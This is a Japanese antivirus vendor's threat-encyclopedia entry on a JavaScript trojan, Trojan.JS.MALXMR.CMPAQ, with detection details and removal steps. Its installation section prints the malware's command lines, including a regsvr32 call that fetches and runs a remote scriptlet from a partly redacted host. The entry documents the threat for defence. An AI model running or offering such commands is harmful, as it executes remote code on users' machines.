Trojan.JS.MALXMR.CMPAQ
2019年10月15日
プラットフォーム:
Windows
危険度:
ダメージ度:
感染力:
感染確認数:
情報漏えい:
マルウェアタイプ:
トロイの木馬型
破壊活動の有無:
なし
暗号化:
なし
感染報告の有無 :
はい
概要
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
ただし、情報公開日現在、このWebサイトにはアクセスできません。
詳細
ファイルサイズ 1,724 bytes
タイプ JS
メモリ常駐 はい
発見日 2019年10月10日
侵入方法
マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。
インストール
マルウェアは、以下のプロセスを追加します。
- "regsvr32 /s shell32.dll"
- "regsvr32 /s WSHom.Ocx"
- "regsvr32 /s scrrun.dll"
- "regsvr32 /s c:\Progra~1\Common~1\System\Ado\Msado15.dll"
- "regsvr32 /s jscript.dll"
- "rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa"
- "regsvr32 /u /s /i:http://js.my{BLOCKED}u:280/v.sct scrobj.dll"
その他
ただし、情報公開日現在、このWebサイトにはアクセスできません。
対応方法
対応検索エンジン: 9.850
初回 VSAPI パターンバージョン 15.430.06
初回 VSAPI パターンリリース日 2019年10月14日
VSAPI OPR パターンバージョン 15.431.00
VSAPI OPR パターンリリース日 2019年10月15日
手順 2
Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。
手順 3
「Trojan.JS.MALXMR.CMPAQ」で検出したファイル名を確認し、そのファイルを終了します。
[ 詳細 ]
- すべての実行中プロセスが、Windows のタスクマネージャに表示されない場合があります。この場合、"Process Explorer" などのツールを使用しマルウェアのファイルを終了してください。"Process Explorer" については、こちらをご参照下さい。
- 検出ファイルが、Windows のタスクマネージャまたは "Process Explorer" に表示されるものの、削除できない場合があります。この場合、コンピュータをセーフモードで再起動してください。
セーフモードについては、こちらをご参照下さい。 - 検出ファイルがタスクマネージャ上で表示されない場合、次の手順にお進みください。
手順 4
最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「Trojan.JS.MALXMR.CMPAQ」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。
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